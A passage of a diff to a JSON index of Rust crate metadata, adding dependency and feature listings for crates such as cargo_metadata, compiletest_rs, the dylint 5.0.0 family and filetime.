"{\"dependencies\":[{\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"arbitrary\",\"req\":\"^1.0\"},{\"name\":\"bytemuck\",\"optional\":true,\"req\":\"^1.12\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"bytemuck\",\"req\":\"^1.12.2\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.228\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde_lib\",\"package\":\"serde\",\"req\":\"^1.0.103\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\"^1.0.19\"},{\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.18\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"zerocopy\",\"req\":\"^0.8\"}],\"features\":{\"example_generated\":[],\"serde\":[\"serde_core\"],\"std\":[]}}", + "bitflags_2.11.0": "{\"dependencies\":[{\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"arbitrary\",\"req\":\"^1.0\"},{\"name\":\"bytemuck\",\"optional\":true,\"req\":\"^1.12\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"bytemuck\",\"req\":\"^1.12.2\"},{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0.228\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde_lib\",\"package\":\"serde\",\"req\":\"^1.0.103\"},{\"kind\":\"dev\",\"name\":\"serde_test\",\"req\":\"^1.0.19\"},{\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.18\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"zerocopy\",\"req\":\"^0.8\"}],\"features\":{\"example_generated\":[],\"serde\":[\"serde_core\"],\"std\":[]}}", "block-buffer_0.10.4": "{\"dependencies\":[{\"name\":\"generic-array\",\"req\":\"^0.14\"}],\"features\":{}}", "block-padding_0.3.3": "{\"dependencies\":[{\"name\":\"generic-array\",\"req\":\"^0.14\"}],\"features\":{\"std\":[]}}", "block2_0.6.2": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"std\"],\"name\":\"objc2\",\"req\":\">=0.6.2, <0.8.0\"}],\"features\":{\"alloc\":[],\"compiler-rt\":[\"objc2/unstable-compiler-rt\"],\"default\":[\"std\"],\"gnustep-1-7\":[\"objc2/gnustep-1-7\"],\"gnustep-1-8\":[\"gnustep-1-7\",\"objc2/gnustep-1-8\"],\"gnustep-1-9\":[\"gnustep-1-8\",\"objc2/gnustep-1-9\"],\"gnustep-2-0\":[\"gnustep-1-9\",\"objc2/gnustep-2-0\"],\"gnustep-2-1\":[\"gnustep-2-0\",\"objc2/gnustep-2-1\"],\"std\":[\"alloc\"],\"unstable-coerce-pointee\":[],\"unstable-objfw\":[],\"unstable-private\":[],\"unstable-winobjc\":[\"gnustep-1-8\"]}}", @@ -677,10 +680,14 @@ "cached_proc_macro_0.25.0": "{\"dependencies\":[{\"name\":\"darling\",\"req\":\"^0.20.8\"},{\"name\":\"proc-macro2\",\"req\":\"^1.0.49\"},{\"name\":\"quote\",\"req\":\"^1.0.6\"},{\"name\":\"syn\",\"req\":\"^2.0.52\"}],\"features\":{}}", "cached_proc_macro_types_0.1.1": "{\"dependencies\":[],\"features\":{}}", "calendrical_calculations_0.2.3": "{\"dependencies\":[{\"default_features\":false,\"name\":\"core_maths\",\"req\":\"^0.1.0\"},{\"default_features\":false,\"name\":\"displaydoc\",\"req\":\"^0.2.3\"},{\"default_features\":false,\"name\":\"log\",\"optional\":true,\"req\":\"^0.4.17\"}],\"features\":{\"logging\":[\"dep:log\"]}}", + "camino_1.2.2": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"bincode\",\"req\":\"^1\"},{\"name\":\"proptest\",\"optional\":true,\"req\":\"^1.0.0\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0.223\"},{\"kind\":\"dev\",\"name\":\"serde_bytes\",\"req\":\"^0.11.8\"},{\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1\"}],\"features\":{\"proptest1\":[\"dep:proptest\"],\"serde1\":[\"dep:serde_core\"]}}", + "cargo-platform_0.3.2": "{\"dependencies\":[{\"name\":\"serde\",\"req\":\"^1.0.228\",\"target\":\"cfg(any())\"},{\"name\":\"serde_core\",\"req\":\"^1.0.228\"}],\"features\":{}}", + "cargo_metadata_0.23.1": "{\"dependencies\":[{\"features\":[\"serde1\"],\"name\":\"camino\",\"req\":\"^1.1.10\"},{\"name\":\"cargo-platform\",\"req\":\"^0.3.0\"},{\"name\":\"derive_builder\",\"optional\":true,\"req\":\"^0.20\"},{\"features\":[\"serde\"],\"name\":\"semver\",\"req\":\"^1.0.26\"},{\"features\":[\"derive\"],\"name\":\"serde\",\"req\":\"^1.0.219\"},{\"features\":[\"unbounded_depth\"],\"name\":\"serde_json\",\"req\":\"^1.0.142\"},{\"name\":\"thiserror\",\"req\":\"^2.0.12\"}],\"features\":{\"builder\":[\"derive_builder\"],\"default\":[],\"unstable\":[]}}", "cassowary_0.3.0": "{\"dependencies\":[],\"features\":{}}", "castaway_0.2.4": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"paste\",\"req\":\"^1\"},{\"name\":\"rustversion\",\"req\":\"^1\"}],\"features\":{\"alloc\":[],\"default\":[\"std\"],\"std\":[\"alloc\"]}}", "cbc_0.1.2": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"aes\",\"req\":\"^0.8\"},{\"name\":\"cipher\",\"req\":\"^0.4.2\"},{\"features\":[\"dev\"],\"kind\":\"dev\",\"name\":\"cipher\",\"req\":\"^0.4.2\"},{\"kind\":\"dev\",\"name\":\"hex-literal\",\"req\":\"^0.3.3\"}],\"features\":{\"alloc\":[\"cipher/alloc\"],\"block-padding\":[\"cipher/block-padding\"],\"default\":[\"block-padding\"],\"std\":[\"cipher/std\",\"alloc\"],\"zeroize\":[\"cipher/zeroize\"]}}", "cc_1.2.55": "{\"dependencies\":[{\"name\":\"find-msvc-tools\",\"req\":\"^0.1.9\"},{\"default_features\":false,\"name\":\"jobserver\",\"optional\":true,\"req\":\"^0.1.30\"},{\"default_features\":false,\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.62\",\"target\":\"cfg(unix)\"},{\"name\":\"shlex\",\"req\":\"^1.3.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"}],\"features\":{\"jobserver\":[],\"parallel\":[\"dep:libc\",\"dep:jobserver\"]}}", + "cc_1.2.56": "{\"dependencies\":[{\"name\":\"find-msvc-tools\",\"req\":\"^0.1.9\"},{\"default_features\":false,\"name\":\"jobserver\",\"optional\":true,\"req\":\"^0.1.30\"},{\"default_features\":false,\"name\":\"libc\",\"optional\":true,\"req\":\"^0.2.62\",\"target\":\"cfg(unix)\"},{\"name\":\"shlex\",\"req\":\"^1.3.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"}],\"features\":{\"jobserver\":[],\"parallel\":[\"dep:libc\",\"dep:jobserver\"]}}", "cesu8_1.1.0": "{\"dependencies\":[],\"features\":{\"unstable\":[]}}", "cexpr_0.6.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"clang-sys\",\"req\":\">=0.13.0, <0.29.0\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"nom\",\"req\":\"^7\"}],\"features\":{}}", "cfg-if_1.0.4": "{\"dependencies\":[{\"name\":\"core\",\"optional\":true,\"package\":\"rustc-std-workspace-core\",\"req\":\"^1.0.0\"}],\"features\":{\"rustc-dep-of-std\":[\"core\"]}}", @@ -705,8 +712,10 @@ "color-spantrace_0.3.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"ansi-parser\",\"req\":\"^0.8\"},{\"name\":\"once_cell\",\"req\":\"^1.18.0\"},{\"name\":\"owo-colors\",\"req\":\"^4.0\"},{\"kind\":\"dev\",\"name\":\"tracing\",\"req\":\"^0.1.29\"},{\"name\":\"tracing-core\",\"req\":\"^0.1.21\"},{\"name\":\"tracing-error\",\"req\":\"^0.2.0\"},{\"kind\":\"dev\",\"name\":\"tracing-subscriber\",\"req\":\"^0.3.4\"}],\"features\":{}}", "color_quant_1.1.0": "{\"dependencies\":[],\"features\":{}}", "colorchoice_1.0.4": "{\"dependencies\":[],\"features\":{}}", + "colorchoice_1.0.5": "{\"dependencies\":[],\"features\":{}}", "combine_4.6.7": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"async-std\",\"req\":\"^1\"},{\"name\":\"bytes\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"bytes\",\"req\":\"^1\"},{\"name\":\"bytes_05\",\"optional\":true,\"package\":\"bytes\",\"req\":\"^0.5\"},{\"kind\":\"dev\",\"name\":\"bytes_05\",\"package\":\"bytes\",\"req\":\"^0.5\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.3\"},{\"kind\":\"dev\",\"name\":\"futures-03-dep\",\"package\":\"futures\",\"req\":\"^0.3.1\"},{\"default_features\":false,\"name\":\"futures-core-03\",\"optional\":true,\"package\":\"futures-core\",\"req\":\"^0.3.1\"},{\"default_features\":false,\"name\":\"futures-io-03\",\"optional\":true,\"package\":\"futures-io\",\"req\":\"^0.3.1\"},{\"default_features\":false,\"name\":\"memchr\",\"req\":\"^2.3\"},{\"kind\":\"dev\",\"name\":\"once_cell\",\"req\":\"^1.0\"},{\"features\":[\"tokio\",\"quickcheck\"],\"kind\":\"dev\",\"name\":\"partial-io\",\"req\":\"^0.3\"},{\"name\":\"pin-project-lite\",\"optional\":true,\"req\":\"^0.2\"},{\"kind\":\"dev\",\"name\":\"quick-error\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^0.6\"},{\"name\":\"regex\",\"optional\":true,\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"io-util\"],\"name\":\"tokio-02-dep\",\"optional\":true,\"package\":\"tokio\",\"req\":\"^0.2.3\"},{\"features\":[\"fs\",\"io-driver\",\"io-util\",\"macros\"],\"kind\":\"dev\",\"name\":\"tokio-02-dep\",\"package\":\"tokio\",\"req\":\"^0.2\"},{\"default_features\":false,\"name\":\"tokio-03-dep\",\"optional\":true,\"package\":\"tokio\",\"req\":\"^0.3\"},{\"features\":[\"fs\",\"macros\",\"rt-multi-thread\"],\"kind\":\"dev\",\"name\":\"tokio-03-dep\",\"package\":\"tokio\",\"req\":\"^0.3\"},{\"default_features\":false,\"name\":\"tokio-dep\",\"optional\":true,\"package\":\"tokio\",\"req\":\"^1\"},{\"features\":[\"fs\",\"macros\",\"rt\",\"rt-multi-thread\",\"io-util\"],\"kind\":\"dev\",\"name\":\"tokio-dep\",\"package\":\"tokio\",\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"codec\"],\"name\":\"tokio-util\",\"optional\":true,\"req\":\"^0.7\"}],\"features\":{\"alloc\":[],\"default\":[\"std\"],\"futures-03\":[\"pin-project\",\"std\",\"futures-core-03\",\"futures-io-03\",\"pin-project-lite\"],\"mp4\":[],\"pin-project\":[\"pin-project-lite\"],\"std\":[\"memchr/std\",\"bytes\",\"alloc\"],\"tokio\":[\"tokio-dep\",\"tokio-util/io\",\"futures-core-03\",\"pin-project-lite\"],\"tokio-02\":[\"pin-project\",\"std\",\"tokio-02-dep\",\"futures-core-03\",\"pin-project-lite\",\"bytes_05\"],\"tokio-03\":[\"pin-project\",\"std\",\"tokio-03-dep\",\"futures-core-03\",\"pin-project-lite\"]}}", "compact_str_0.8.1": "{\"dependencies\":[{\"default_features\":false,\"name\":\"arbitrary\",\"optional\":true,\"req\":\"^1\"},{\"name\":\"borsh\",\"optional\":true,\"req\":\"^1\"},{\"name\":\"bytes\",\"optional\":true,\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"alloc\"],\"name\":\"castaway\",\"req\":\"^0.2.3\"},{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"cfg-if\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"diesel\",\"optional\":true,\"req\":\"^2\"},{\"name\":\"itoa\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"markup\",\"optional\":true,\"req\":\"^0.13\"},{\"default_features\":false,\"features\":[\"std\"],\"name\":\"proptest\",\"optional\":true,\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"std\"],\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1\"},{\"default_features\":false,\"name\":\"quickcheck\",\"optional\":true,\"req\":\"^1\"},{\"default_features\":false,\"kind\":\"dev\",\"name\":\"quickcheck\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"quickcheck_macros\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"rayon\",\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"size_32\"],\"name\":\"rkyv\",\"optional\":true,\"req\":\"^0.7\"},{\"default_features\":false,\"features\":[\"alloc\",\"size_32\"],\"kind\":\"dev\",\"name\":\"rkyv\",\"req\":\"^0.7\"},{\"name\":\"rustversion\",\"req\":\"^1\"},{\"name\":\"ryu\",\"req\":\"^1\"},{\"default_features\":false,\"features\":[\"derive\",\"alloc\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1\"},{\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1\"},{\"features\":[\"union\"],\"name\":\"smallvec\",\"optional\":true,\"req\":\"^1\"},{\"default_features\":false,\"name\":\"sqlx\",\"optional\":true,\"req\":\"^0.7\"},{\"name\":\"static_assertions\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"test-case\",\"req\":\"^3\"},{\"kind\":\"dev\",\"name\":\"test-strategy\",\"req\":\"^0.3\"}],\"features\":{\"arbitrary\":[\"dep:arbitrary\"],\"borsh\":[\"dep:borsh\"],\"bytes\":[\"dep:bytes\"],\"default\":[\"std\"],\"diesel\":[\"dep:diesel\"],\"markup\":[\"dep:markup\"],\"proptest\":[\"dep:proptest\"],\"quickcheck\":[\"dep:quickcheck\"],\"rkyv\":[\"dep:rkyv\"],\"serde\":[\"dep:serde\"],\"smallvec\":[\"dep:smallvec\"],\"sqlx\":[\"dep:sqlx\",\"std\"],\"sqlx-mysql\":[\"sqlx\",\"sqlx/mysql\"],\"sqlx-postgres\":[\"sqlx\",\"sqlx/postgres\"],\"sqlx-sqlite\":[\"sqlx\",\"sqlx/sqlite\"],\"std\":[]}}", + "compiletest_rs_0.11.2": "{\"dependencies\":[{\"name\":\"diff\",\"req\":\"^0.1.10\"},{\"name\":\"filetime\",\"req\":\"^0.2\"},{\"name\":\"getopts\",\"req\":\"^0.2\"},{\"name\":\"lazy_static\",\"req\":\"^1.4\"},{\"name\":\"libc\",\"req\":\"^0.2\",\"target\":\"cfg(unix)\"},{\"name\":\"log\",\"req\":\"^0.4\"},{\"name\":\"miow\",\"req\":\"^0.6\",\"target\":\"cfg(windows)\"},{\"name\":\"regex\",\"req\":\"^1.0\"},{\"name\":\"rustfix\",\"req\":\"^0.8\"},{\"name\":\"serde\",\"req\":\"^1.0\"},{\"name\":\"serde_derive\",\"req\":\"^1.0\"},{\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"name\":\"tempfile\",\"optional\":true,\"req\":\"^3.0\"},{\"name\":\"tester\",\"req\":\"^0.9\"},{\"features\":[\"Win32\"],\"name\":\"windows-sys\",\"req\":\"^0.59\",\"target\":\"cfg(windows)\"}],\"features\":{\"rustc\":[],\"stable\":[],\"tmp\":[\"tempfile\"]}}", "concurrent-queue_2.5.0": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"cargo_bench_support\"],\"kind\":\"dev\",\"name\":\"criterion\",\"req\":\"^0.5\"},{\"default_features\":false,\"name\":\"crossbeam-utils\",\"req\":\"^0.8.11\"},{\"kind\":\"dev\",\"name\":\"easy-parallel\",\"req\":\"^3.1.0\"},{\"kind\":\"dev\",\"name\":\"fastrand\",\"req\":\"^2.0.0\"},{\"name\":\"loom\",\"optional\":true,\"req\":\"^0.7\",\"target\":\"cfg(loom)\"},{\"default_features\":false,\"name\":\"portable-atomic\",\"optional\":true,\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"wasm-bindgen-test\",\"req\":\"^0.3\",\"target\":\"cfg(target_family = \\\"wasm\\\")\"}],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "console_0.15.11": "{\"dependencies\":[{\"name\":\"encode_unicode\",\"req\":\"^1\",\"target\":\"cfg(windows)\"},{\"name\":\"libc\",\"req\":\"^0.2.99\"},{\"name\":\"once_cell\",\"req\":\"^1.8\"},{\"default_features\":false,\"features\":[\"std\",\"bit-set\",\"break-dead-code\"],\"kind\":\"dev\",\"name\":\"proptest\",\"req\":\"^1.0.0\"},{\"kind\":\"dev\",\"name\":\"regex\",\"req\":\"^1.4.2\"},{\"name\":\"unicode-width\",\"optional\":true,\"req\":\"^0.2\"},{\"features\":[\"Win32_Foundation\",\"Win32_System_Console\",\"Win32_Storage_FileSystem\",\"Win32_UI_Input_KeyboardAndMouse\"],\"name\":\"windows-sys\",\"req\":\"^0.59\",\"target\":\"cfg(windows)\"}],\"features\":{\"ansi-parsing\":[],\"default\":[\"unicode-width\",\"ansi-parsing\"],\"windows-console-colors\":[\"ansi-parsing\"]}}", "const-hex_1.17.0": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1\"},{\"name\":\"cpufeatures\",\"req\":\"^0.2\",\"target\":\"cfg(any(target_arch = \\\"x86\\\", target_arch = \\\"x86_64\\\"))\"},{\"kind\":\"dev\",\"name\":\"divan\",\"package\":\"codspeed-divan-compat\",\"req\":\"^3\"},{\"default_features\":false,\"features\":[\"alloc\"],\"kind\":\"dev\",\"name\":\"faster-hex\",\"req\":\"^0.10.0\"},{\"default_features\":false,\"features\":[\"alloc\"],\"kind\":\"dev\",\"name\":\"hex\",\"req\":\"~0.4.2\"},{\"default_features\":false,\"name\":\"proptest\",\"optional\":true,\"req\":\"^1.4\"},{\"kind\":\"dev\",\"name\":\"rustc-hex\",\"req\":\"^2.1\"},{\"default_features\":false,\"features\":[\"derive\"],\"kind\":\"dev\",\"name\":\"serde\",\"req\":\"^1.0\"},{\"default_features\":false,\"name\":\"serde_core\",\"optional\":true,\"req\":\"^1.0\"},{\"default_features\":false,\"features\":[\"alloc\"],\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0\"}],\"features\":{\"__fuzzing\":[\"dep:proptest\",\"std\"],\"alloc\":[\"serde_core?/alloc\",\"proptest?/alloc\"],\"core-error\":[],\"default\":[\"std\"],\"force-generic\":[],\"hex\":[],\"nightly\":[],\"portable-simd\":[],\"serde\":[\"dep:serde_core\"],\"std\":[\"serde_core?/std\",\"proptest?/std\",\"alloc\"]}}", @@ -793,6 +802,10 @@ "dunce_1.0.5": "{\"dependencies\":[],\"features\":{}}", "dupe_0.9.1": "{\"dependencies\":[{\"name\":\"dupe_derive\",\"req\":\"=0.9.1\"}],\"features\":{}}", "dupe_derive_0.9.1": "{\"dependencies\":[{\"name\":\"proc-macro2\",\"req\":\"^1.0\"},{\"name\":\"quote\",\"req\":\"^1.0.3\"},{\"features\":[\"extra-traits\"],\"name\":\"syn\",\"req\":\"^2\"}],\"features\":{}}", + "dylint_5.0.0": "{\"dependencies\":[{\"name\":\"anstyle\",\"req\":\"^1.0\"},{\"name\":\"anyhow\",\"req\":\"^1.0\"},{\"name\":\"cargo-util\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"cargo-util-schemas\",\"optional\":true,\"req\":\"^0.10\"},{\"name\":\"cargo_metadata\",\"req\":\"^0.23\"},{\"default_features\":false,\"name\":\"chrono\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"dunce\",\"optional\":true,\"req\":\"^1.0\"},{\"features\":[\"config\",\"git\",\"packaging\",\"rustup\"],\"name\":\"dylint_internal\",\"req\":\"=5.0.0\"},{\"features\":[\"cargo\"],\"kind\":\"build\",\"name\":\"dylint_internal\",\"req\":\"=5.0.0\"},{\"features\":[\"examples\"],\"kind\":\"dev\",\"name\":\"dylint_internal\",\"req\":\"=5.0.0\"},{\"kind\":\"dev\",\"name\":\"env_logger\",\"req\":\"^0.11\"},{\"name\":\"fs_extra\",\"optional\":true,\"req\":\"^1.3\"},{\"name\":\"glob\",\"optional\":true,\"req\":\"^0.3\"},{\"name\":\"heck\",\"optional\":true,\"req\":\"^0.5\"},{\"name\":\"hex\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"if_chain\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"log\",\"req\":\"^0.4\"},{\"name\":\"once_cell\",\"req\":\"^1.21\"},{\"name\":\"rewriter\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"rustc-stable-hash\",\"optional\":true,\"req\":\"^0.1\"},{\"name\":\"semver\",\"req\":\"^1.0\"},{\"name\":\"serde\",\"req\":\"^1.0\"},{\"name\":\"serde-untagged\",\"optional\":true,\"req\":\"^0.1\"},{\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"default_features\":false,\"features\":[\"default-syntaxes\",\"regex-fancy\",\"parsing\"],\"name\":\"syntect\",\"optional\":true,\"req\":\"^5.3\"},{\"name\":\"tempfile\",\"req\":\"^3.23\"},{\"name\":\"toml\",\"optional\":true,\"req\":\"^0.9\"},{\"name\":\"url\",\"optional\":true,\"req\":\"^2.5\"},{\"name\":\"walkdir\",\"optional\":true,\"req\":\"^2.5\"}],\"features\":{\"__cargo_cli\":[\"cargo-util\",\"cargo-util-schemas\",\"dunce\",\"dylint_internal/home\",\"fs_extra\",\"glob\",\"hex\",\"if_chain\",\"rustc-stable-hash\",\"serde-untagged\",\"toml\",\"url\"],\"default\":[],\"library_packages\":[\"__cargo_cli\"],\"package_options\":[\"chrono\",\"dylint_internal/clippy_utils\",\"dylint_internal/git\",\"heck\",\"if_chain\",\"rewriter\",\"syntect\",\"walkdir\"]}}", + "dylint_internal_5.0.0": "{\"dependencies\":[{\"name\":\"anstyle\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"anyhow\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"assert_cmd\",\"req\":\"^2.0\"},{\"name\":\"bitflags\",\"optional\":true,\"req\":\"^2.9\"},{\"name\":\"cargo-util\",\"optional\":true,\"req\":\"^0.2\"},{\"name\":\"cargo_metadata\",\"optional\":true,\"req\":\"^0.23\"},{\"name\":\"ctor\",\"optional\":true,\"req\":\"^0.6\"},{\"name\":\"env_logger\",\"optional\":true,\"req\":\"^0.11\"},{\"name\":\"git2\",\"optional\":true,\"req\":\"^0.20\"},{\"name\":\"home\",\"optional\":true,\"req\":\"=0.5.9\"},{\"name\":\"if_chain\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"log\",\"req\":\"^0.4\"},{\"kind\":\"dev\",\"name\":\"predicates\",\"req\":\"^3.1\"},{\"name\":\"regex\",\"req\":\"^1.11\"},{\"name\":\"rustversion\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"semver\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0\"},{\"name\":\"tar\",\"optional\":true,\"req\":\"^0.4\"},{\"name\":\"tempfile\",\"optional\":true,\"req\":\"^3.23\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.23\"},{\"name\":\"thiserror\",\"optional\":true,\"req\":\"^2.0\"},{\"name\":\"toml\",\"optional\":true,\"req\":\"^0.9\"},{\"kind\":\"dev\",\"name\":\"toml\",\"req\":\"^0.9\"},{\"name\":\"toml_edit\",\"optional\":true,\"req\":\"^0.23\"},{\"kind\":\"dev\",\"name\":\"toml_edit\",\"req\":\"^0.23\"},{\"name\":\"walkdir\",\"optional\":true,\"req\":\"^2.5\"}],\"features\":{\"cargo\":[\"anstyle\",\"bitflags\",\"cargo_metadata\",\"home\"],\"clippy_utils\":[\"git\",\"semver\",\"tempfile\",\"toml\",\"toml_edit\"],\"config\":[\"cargo_metadata\",\"serde\",\"thiserror\",\"toml\"],\"examples\":[\"cargo\",\"cargo-util\",\"rustup\",\"walkdir\"],\"git\":[\"git2\",\"if_chain\"],\"home\":[\"dep:home\",\"rustversion\"],\"match_def_path\":[],\"packaging\":[\"cargo\",\"tar\"],\"rustup\":[\"cargo_metadata\"],\"testing\":[\"ctor\",\"env_logger\",\"packaging\"]}}", + "dylint_linting_5.0.0": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"assert_cmd\",\"req\":\"^2.0\"},{\"name\":\"cargo_metadata\",\"req\":\"^0.23\"},{\"features\":[\"config\"],\"name\":\"dylint_internal\",\"req\":\"=5.0.0\"},{\"name\":\"paste\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"rustc_version\",\"req\":\"^0.4\"},{\"name\":\"rustversion\",\"req\":\"^1.0\"},{\"name\":\"serde\",\"req\":\"^1.0\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3.23\"},{\"name\":\"thiserror\",\"req\":\"^2.0\"},{\"name\":\"toml\",\"req\":\"^0.9\"},{\"kind\":\"build\",\"name\":\"toml\",\"req\":\"^0.9\"}],\"features\":{\"constituent\":[]}}", + "dylint_testing_5.0.0": "{\"dependencies\":[{\"name\":\"anyhow\",\"req\":\"^1.0\"},{\"name\":\"cargo_metadata\",\"req\":\"^0.23\"},{\"name\":\"compiletest_rs\",\"req\":\"^0.11\"},{\"name\":\"dylint\",\"req\":\"=5.0.0\"},{\"name\":\"dylint_internal\",\"req\":\"=5.0.0\"},{\"name\":\"env_logger\",\"req\":\"^0.11\"},{\"name\":\"once_cell\",\"req\":\"^1.21\"},{\"name\":\"regex\",\"req\":\"^1.11\"},{\"name\":\"serde_json\",\"req\":\"^1.0\"},{\"name\":\"tempfile\",\"req\":\"^3.23\"}],\"features\":{\"default\":[],\"deny_warnings\":[]}}", "dyn-clone_1.0.20": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"rustversion\",\"req\":\"^1.0\"},{\"features\":[\"diff\"],\"kind\":\"dev\",\"name\":\"trybuild\",\"req\":\"^1.0.66\"}],\"features\":{}}", "either_1.15.0": "{\"dependencies\":[{\"default_features\":false,\"features\":[\"alloc\",\"derive\"],\"name\":\"serde\",\"optional\":true,\"req\":\"^1.0.95\"},{\"kind\":\"dev\",\"name\":\"serde_json\",\"req\":\"^1.0.0\"}],\"features\":{\"default\":[\"std\"],\"std\":[],\"use_std\":[\"std\"]}}", "ena_0.14.3": "{\"dependencies\":[{\"name\":\"dogged\",\"optional\":true,\"req\":\"^0.2.0\"},{\"name\":\"log\",\"req\":\"^0.4\"}],\"features\":{\"bench\":[],\"persistent\":[\"dogged\"]}}", @@ -824,6 +837,7 @@ "fdeflate_0.3.7": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"miniz_oxide\",\"req\":\"^0.7.1\"},{\"kind\":\"dev\",\"name\":\"rand\",\"req\":\"^0.8.5\"},{\"name\":\"simd-adler32\",\"req\":\"^0.3.4\"}],\"features\":{}}", "fiat-crypto_0.2.9": "{\"dependencies\":[],\"features\":{\"default\":[\"std\"],\"std\":[]}}", "filedescriptor_0.8.3": "{\"dependencies\":[{\"name\":\"libc\",\"req\":\"^0.2\"},{\"name\":\"thiserror\",\"req\":\"^1.0\"},{\"features\":[\"winuser\",\"handleapi\",\"fileapi\",\"namedpipeapi\",\"processthreadsapi\",\"winsock2\",\"processenv\"],\"name\":\"winapi\",\"req\":\"^0.3\",\"target\":\"cfg(windows)\"}],\"features\":{}}", + "filetime_0.2.27": "{\"dependencies\":[{\"name\":\"cfg-if\",\"req\":\"^1.0.0\"},{\"name\":\"libc\",\"req\":\"^0.2.27\",\"target\":\"cfg(unix)\"},{\"name\":\"libredox\",\"req\":\"^0.1.0\",\"target\":\"cfg(target_os = \\\"redox\\\")\"},{\"kind\":\"dev\",\"name\":\"tempfile\",\"req\":\"^3\"}],\"features\":{}}", "find-crate_0.6.3": "{\"dependencies\":[{\"kind\":\"dev\",\"name\":\"proc-macro2\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"quote\",\"req\":\"^1\"},{\"kind\":\"dev\",\"name\":\"semver\",\"req\":\"^0.11\"},{\"name\":\"toml\",\"req\":\"^0.5.2\"}],\"features\":{}}", "find-msvc-tools_0.1.9": "{\"dependencies\":[],\"features\":{}}", "findshlibs_0.10.2": "{\"dependencies\":[{\"kind\":\"build\",\"name\":\"cc\",\"req\":\"^1.0.67\"},{\"name\":\"lazy_static\",\"req\":\"^1.4\",\"target\":\"cfg(any(target_os = \\\"macos\\\", target_os = \\\"ios\\\"))\"},{\"name\":\"libc\",\"req\":\"^0.2.104\"},{\"features\":[\"psapi\",\"memoryapi\",\"libloaderapi\",\"processthreadsapi\"],\"name\":\"winapi\",\"req\":\"^0.3.9\",\"target\":\"cfg(target_os = \\\"windows\\\")\"}],\"features\":{}}", @@ -865,6 +879,7 @@ "getopts_0.2.24": 